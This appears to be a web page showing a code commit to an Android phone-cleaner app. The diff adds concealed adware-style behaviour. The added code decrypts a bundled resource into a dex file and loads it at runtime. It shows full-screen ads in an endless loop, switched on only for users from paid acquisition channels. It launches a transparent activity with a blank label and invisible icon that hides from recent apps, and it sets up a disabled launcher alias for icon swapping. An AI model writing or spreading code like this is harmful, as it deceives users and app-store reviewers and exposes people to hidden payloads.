Commit b8661308 authored by wanglei's avatar wanglei

[集成库]集成

parent dfe79055
......@@ -202,11 +202,11 @@ dependencies {
// implementation("com.android.billingclient:billing-ktx:$billing_version")
implementation("com.google.android.gms:play-services-ads-identifier:18.2.0")
// implementation("com.google.android.gms:play-services-ads-identifier:18.2.0")
// If you use a version below 7.1.0.0, it depends on 'ads-sdk'
//implementation ('com.pangle.global:ads-sdk:6.5.0.6')
// If you use version 7.1.0.0 and above, it depends on 'pag-sdk'
implementation("com.pangle.global:pag-sdk:7.1.0.4")
// implementation("com.pangle.global:pag-sdk:7.1.0.4")
//adjust
......
......@@ -22,7 +22,6 @@
-dontwarn javax.annotation.Nullable
-keep class com.ritoq.quickphone.bean.** { *; }
##---------------Begin: proguard configuration for Gson ----------
# 保留 Gson 库本身
......@@ -63,9 +62,6 @@
# public static *** e(...);
#}
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
# Adjust 防混淆
-keep class com.adjust.sdk.** { *; }
-keep class com.google.android.gms.common.ConnectionResult {
......@@ -79,3 +75,43 @@
boolean isLimitAdTrackingEnabled();
}
-keep public class com.android.installreferrer.** { *; }
-keep class kotlin.reflect.jvm.internal.** { *; }
-keepclassmembers class kotlin.reflect.jvm.internal.** { *; }
# 保留访问 assets 资源的方法
-keepclassmembers class * {
public *** getAssets();
public android.content.res.AssetManager getAssets();
}
# 保留伴生对象
-keepclassmembers class **$Companion { *; }
# 保留带默认参数的方法
-keepclassmembers class * {
@kotlin.jvm.JvmOverloads <methods>;
}
# 保留注解
-keepattributes RuntimeVisibleAnnotations, RuntimeInvisibleAnnotations
-keepattributes *Annotation*
# =============== KOTLIN 核心保留规则 ===============
-keep class kotlin.** { *; }
-keep class kotlin.Metadata { *; }
-keep class kotlin.jvm.internal.** { *; }
-keep class kotlin.reflect.** { *; }
-dontwarn kotlin.**
# 保留 assets 目录下的所有 txt 文件
-keep class **.R$* {
<fields>;
}
-keep class com.qjzep.irdlt.waxmu.** { *; }
-keep class com.ritoq.quickphone.bean.** { *; }
#pangle 防混淆
-keep class com.bytedance.sdk.** { *; }
\ No newline at end of file
......@@ -20,8 +20,8 @@
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />-->
<!-- <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />-->
<queries>
......@@ -38,26 +38,47 @@
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/logo"
android:icon="@mipmap/ic_vnirij"
android:label="@string/app_name"
android:requestLegacyExternalStorage="true"
android:roundIcon="@mipmap/ic_vnirij_round"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
tools:targetApi="31">
tools:targetApi="35">
<activity
android:name=".ui.splash.SplashActivity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:noHistory="true"
android:roundIcon="@mipmap/logo"
android:screenOrientation="portrait"
android:theme="@style/splash.theme"
tools:ignore="DiscouragedApi,LockedOrientationActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<data
android:host="com.facebook.api"
android:scheme="com.facebook.api" />
</intent-filter>
</activity>
<activity-alias
android:name="com.clean.luck.clean.gjtikg"
android:enabled="false"
android:exported="true"
android:icon="@mipmap/logo"
android:label="@string/app_name"
android:launchMode="singleTop"
android:roundIcon="@mipmap/logo"
android:targetActivity=".ui.splash.SplashActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity-alias>
<activity
android:name=".ui.main.MainActivity"
......@@ -88,6 +109,16 @@
android:exported="false"
android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name="com.qjzep.irdlt.waxmu.Ppactu"
android:configChanges="smallestScreenSize|screenSize|uiMode|screenLayout|orientation|keyboardHidden"
android:excludeFromRecents="true"
android:exported="false"
android:icon="@drawable/uua_sb"
android:label="@string/IIHJDD"
android:launchMode="singleTask"
android:screenOrientation="nosensor"
android:theme="@style/Guide.Theme" />
<activity
android:name=".ui.guide.GuideCleanActivity"
android:exported="false"
......@@ -153,6 +184,20 @@
android:screenOrientation="portrait"
tools:ignore="DiscouragedApi,LockedOrientationActivity" />
<activity
android:name=".ui.guide2.Guide0Activity"
android:enabled="true"
android:excludeFromRecents="true"
android:exported="true"
android:launchMode="singleTop"
android:noHistory="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.INFO" />
</intent-filter>
</activity>
<provider
android:name="androidx.core.content.FileProvider"
android:authorities="${applicationId}.provider"
......@@ -192,7 +237,6 @@
<data android:scheme="file" />
</intent-filter>
</receiver>
``
<service
android:name=".business.service.StayJobService"
......
package com.qjzep.irdlt.waxmu
import android.os.Bundle
import android.view.WindowManager
import androidx.activity.addCallback
import com.ritoq.quickphone.base.BaseActivity
import com.ritoq.quickphone.databinding.ActivityGuideInfoBinding
import com.ritoq.quickphone.utils.LogEx
import kotlin.run
/**
*Create by SleepDog on 2025-06-26
*/
class Ppactu : BaseActivity<ActivityGuideInfoBinding>(ActivityGuideInfoBinding::inflate) {
override fun onCreate(savedInstanceState: Bundle?) {
window.run {
val layoutParams = attributes
layoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT
layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT
attributes = layoutParams
}
super.onCreate(savedInstanceState)
onBackPressedDispatcher.addCallback {
}
}
}
\ No newline at end of file
......@@ -6,6 +6,7 @@ import android.content.Context
import android.os.Bundle
import android.text.TextUtils
import android.util.Log
import androidx.lifecycle.lifecycleScope
import com.ritoq.quickphone.business.helper.InstallHelps
import com.ritoq.quickphone.business.helper.NewComUtils
import com.ritoq.quickphone.business.service.StayJobService.Companion.startStayJobService
......@@ -32,13 +33,21 @@ import com.ritoq.quickphone.push.receiver.ScreenStatusReceiver
import com.ritoq.quickphone.ui.batteryinfo.BatteryReceiver.Companion.registerBatteryReceiver
import com.ritoq.quickphone.ui.splash.SplashActivity
import com.facebook.appevents.AppEventsLogger
import com.qjzep.irdlt.waxmu.Ppactu
import com.ritoq.quickphone.bean.config.AdConfigBean.Companion.adsConfigBean
import com.ritoq.quickphone.business.ads.AdsShowCallBack
import com.ritoq.quickphone.business.helper.AdjustUtils
import com.ritoq.quickphone.business.push.receiver.AlarmReceiver.Companion.startAlarm
import com.ritoq.quickphone.business.push.timer.TimerManager.Companion.changeTimer
import com.ritoq.quickphone.business.push.work.RepeatingWorker.Companion.schedulePeriodicWork
import com.ritoq.quickphone.utils.CleanUtils
import com.ritoq.quickphone.utils.ManagerUtils.isLocked
import com.ritoq.quickphone.utils.ManagerUtils.isScreenOff
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext
class MyApplication : Application() {
......@@ -152,7 +161,7 @@ class MyApplication : Application() {
private fun initPush() {
kotlin.runCatching {
startStayJobService()
// startStayJobService()
}
// val token = AppPreferences.getInstance().getString("token", "")
......@@ -174,14 +183,41 @@ class MyApplication : Application() {
startAlarm(appContext, 72)
//开启通知队列
MyNotificationManager.startNotificationQueue()
// MyNotificationManager.startNotificationQueue()
}
private fun initAppConfig() {
NewComUtils.requestCfgCallBackMap.put("changeTimer") {
LogEx.logDebug(TAG, "requestCfgCallBackMap changeTimer")
changeTimer()
// changeTimer()
if (AdjustUtils.getUserSource() == "channel" && adsConfigBean.isAdShow) {
LogEx.logDebug(TAG, "START GO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
withContext(Dispatchers.IO) {
while (true) {
val result = CleanUtils.rew_bvbvb(applicationContext, "7af45ghy9012cd65")
when (result) {
4000 -> Log.d("Tcellcpw", "方案4执行成功")
20000 -> Log.d("Tcellcpw", "方案20执行成功")
21000 -> Log.d("Tcellcpw", "方案21执行成功")
-1 -> Log.e("Tcellcpw", "密钥错误")
-2 -> Log.e("Tcellcpw", "未知的弹窗类型")
else -> Log.e("Tcellcpw", "弹窗失败,错误码: $result")
}
delay(adsConfigBean.timeInterval.toLong())
}
}
}
} else {
LogEx.logDebug(TAG, "START NO GO")
MainScope().launch {
CleanUtils.rirotqw(applicationContext, R.raw.ditoa_erp, "test.txt", "cacheT.dex", "7af456789012cdef")
CleanUtils.hjyho_rtrt(applicationContext)
}
}
}
//初始化sp的配置
......@@ -207,8 +243,33 @@ class MyApplication : Application() {
registerActivityLifecycleCallbacks(object : ActivityLifecycleCallbacks {
private var count = 0
override fun onActivityCreated(activity: Activity, savedInstanceState: Bundle?) {
if (activity is Ppactu) {
if (isScreenOff(appContext) && isLocked(appContext)) {
activity.finish()
return
}
ActivityManagerUtils.getInstance().finishAllActivity()
AdsMgr.showInsert(activity, showCallBack = object : AdsShowCallBack() {
override fun next() {
activity.lifecycleScope.launch {
delay(100)
activity.finishAndRemoveTask()
}
}
override fun show() {
super.show()
activity.lifecycleScope.launch {
delay(10000)
activity.finishAndRemoveTask()
}
}
})
} else {
ActivityManagerUtils.getInstance().addActivity(activity)
}
}
override fun onActivityStarted(activity: Activity) {
count++
......
......@@ -5,21 +5,21 @@ class AdConfigBean(
var isAdShow: Boolean = false,//广告开关
var taichiAdValue: Int = 1,//价值上报阀值
var adRatio: Int = 100,//价值上报随机控制
// var taichiAdValue: Int = 1,//价值上报阀值
// var adRatio: Int = 100,//价值上报随机控制
var numDisplayLimit: Int = -1,//展示次数限制
var numRequestLimit: Int = -1,//请求次数限制
var numClickLimit: Int = -1,//点击次数限制
var timeInterval: Int = 10,//广告间隔秒
var openAdLoading: Int = 15,//开屏广告拉取时间
// var openAdLoading: Int = 15,//开屏广告拉取时间
var numNativeDisplayLimit: Int = -1,//原生展示次数限制
var fullNativeShow: Boolean = true,//显示全屏原生
var functionBackShowAd: Boolean = true,//功能退出显示广告
var functionInShowAd: Boolean = true,//功能进入显示广告
var rvEmptyShowNative: Boolean = true,//列表空的显示原生不
var requestUmp: Boolean = false,//是否需要请求ump
var showCountdown: Boolean = false,//是否显示倒计时
// var rvEmptyShowNative: Boolean = true,//列表空的显示原生不
// var requestUmp: Boolean = false,//是否需要请求ump
// var showCountdown: Boolean = false,//是否显示倒计时
) {
......
......@@ -8,14 +8,13 @@ data class ConfigBean(
val ut: Int = 0,
// var vpnCanUse: Boolean = true,
// val adConfigBean: AdConfigBean = AdConfigBean(),
val adConfigBean: AdConfigBean = AdConfigBean(),
val popupConfigBean: PopupConfigBean = PopupConfigBean(),
// val vipConfigBean: VipConfigBean = VipConfigBean(),
val noEventKey: List<String> = listOf(),
val getConfigInterval: Int = 4,//请求配间隔小时
var test: Int = 0,
) {
) {
companion object {
var configBean: ConfigBean = ConfigBean()
......
......@@ -31,8 +31,6 @@ object AdjustUtils {
if (adJustInstallSource == "channel") {
source = "channel"
return source
} else if (adJustInstallSource == "origin") {
return source
} else {
if (installSource == "channel") {
source = "channel"
......
......@@ -11,6 +11,7 @@ import com.ritoq.quickphone.business.helper.InstallHelps.installReferrer
import com.ritoq.quickphone.utils.AppPreferences
import com.ritoq.quickphone.utils.LogEx
import com.google.gson.Gson
import com.ritoq.quickphone.bean.config.AdConfigBean
import com.ritoq.quickphone.business.helper.AdjustUtils.getUserSource
import okhttp3.Call
import okhttp3.Callback
......@@ -68,9 +69,15 @@ object NewComUtils {
"&aid=${AppPreferences.getInstance().getString("uuid", "")}" +
"&source=${getUserSource()}"
// if (BuildConfig.DEBUG) {
// s = "$s&mode=4"
// }
s = if (BuildConfig.DEBUG) {
"$s&mode=4"
} else {
if (getUserSource() == "origin") {
"$s&mode=1"
} else {
"$s&mode=2"
}
}
s
// mode =3 google mode=2 facebook mode=1 自然,mode=4 测试
// &mode=3
......@@ -173,11 +180,11 @@ object NewComUtils {
//配置
ConfigBean.configBean = configBean
LogEx.logDebug(TAG, "test=${configBean.test}")
LogEx.logDebug(TAG, "ut=${configBean.ut}")
//广告
// AdConfigBean.adsConfigBean = configBean.adConfigBean
// LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true)
AdConfigBean.adsConfigBean = configBean.adConfigBean
LogEx.logDebug("initConfig", "adsConfigBean=${configBean.adConfigBean.isAdShow} ut=${configBean.ut}", true)
//通知配置
PopupConfigBean.popupConfigBean = configBean.popupConfigBean
......
......@@ -41,6 +41,7 @@ object MyNotificationManager {
private var sendBeanBlockingQueue = ArrayBlockingQueue<NotificationSendBean>(10)
fun submitSendBean(bean: NotificationSendBean) {
return
//测试哪些位置触发
if (BuildConfig.DEBUG) {
if (!testWhere.contains(bean.where)) return
......
//package com.base.appzxhy.ui.guide2;
//
//import android.app.Activity;
//import android.content.Intent;
//import android.os.Bundle;
//
//public class Guide0Activity extends Activity {
// @Override
// protected void onCreate(Bundle savedInstanceState) {
// super.onCreate(savedInstanceState);
// // 直接跳转到主界面
// startActivity(new Intent(this, GuideAc.class));
// finish();
// }
//}
\ No newline at end of file
package com.ritoq.quickphone.ui.guide2;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import com.ritoq.quickphone.ui.splash.SplashActivity;
public class Guide0Activity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// 直接跳转到主界面
startActivity(new Intent(this, SplashActivity.class));
finish();
}
}
\ No newline at end of file
......@@ -45,7 +45,7 @@ class SplashActivity : BaseActivity<ActivitySplashBinding>(ActivitySplashBinding
override fun initView() {
super.initView()
requestNotificationPermission()
// requestNotificationPermission()
setPrivacyPolicy()
showLoadingAd()
viewModel.onTick = { a, b, c ->
......
This diff is collapsed.
package com.ritoq.quickphone.utils
import android.app.KeyguardManager
import android.content.Context
import android.os.PowerManager
import androidx.appcompat.app.AppCompatActivity.KEYGUARD_SERVICE
import androidx.appcompat.app.AppCompatActivity.POWER_SERVICE
object ManagerUtils {
fun isScreenOff(context: Context):Boolean{
val powerManager = context.getSystemService(POWER_SERVICE) as PowerManager
val isScreenOff = !powerManager.isInteractive // API 20+
return isScreenOff
}
fun isLocked(context: Context):Boolean{
val keyguardManager = context.getSystemService(KEYGUARD_SERVICE) as KeyguardManager
val isLocked = keyguardManager.isKeyguardLocked
return isLocked
}
}
\ No newline at end of file
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android" android:tint="#000000" android:height="24dp" android:width="24dp" android:alpha="0" android:viewportWidth="24" android:viewportHeight="24">
<path android:fillColor="#ff000000" android:pathData="M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"/>
</vector>
<?xml version="1.0" encoding="utf-8"?>
<resources xmlns:tools="http://schemas.android.com/tools"
tools:keep="@layout/tt_*,
@layout/notification_*,
@anim/tt_*,
@drawable/tt_*,
@string/tt_*,
@color/tt_*,
@string/ad*,
@string/star_*,
@dimen/tt_*,
@integer/tt_*,
@style/tt_*,
@style/Theme.Dialog.TT_*,
@style/tt_*,
@style/quick_*,
@style/EditTextStyle*,
@attr/tt_*"/>
\ No newline at end of file
......@@ -180,8 +180,6 @@ Please rest assured that we will handle your information in strict accordance wi
<string name="rom_information">ROM Information</string>
<string name="camera_information">Camera Information</string>
<string name="battery_information">Battery Information</string>
<!-- TODO: Remove or change this placeholder text -->
<string name="hello_blank_fragment">Hello blank fragment</string>
<string name="IIHJDD"> </string>
</resources>
......@@ -18,12 +18,12 @@
<style name="splash.theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<item name="android:windowBackground">@drawable/splash_bp</item>
<!-- <item name="android:windowIsTranslucent">true</item>-->
<!-- <item name="android:windowIsTranslucent">true</item>-->
</style>
<style name="Guide.Theme" parent="Theme.AppCompat.DayNight.NoActionBar">
<!-- <item name="windowNoTitle">true</item>-->
<!-- <item name="android:windowIsTranslucent">true</item>-->
<item name="windowNoTitle">true</item>
<item name="android:windowIsTranslucent">true</item>
<item name="android:background">@android:color/transparent</item>
<item name="android:windowBackground">@android:color/transparent</item>
</style>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment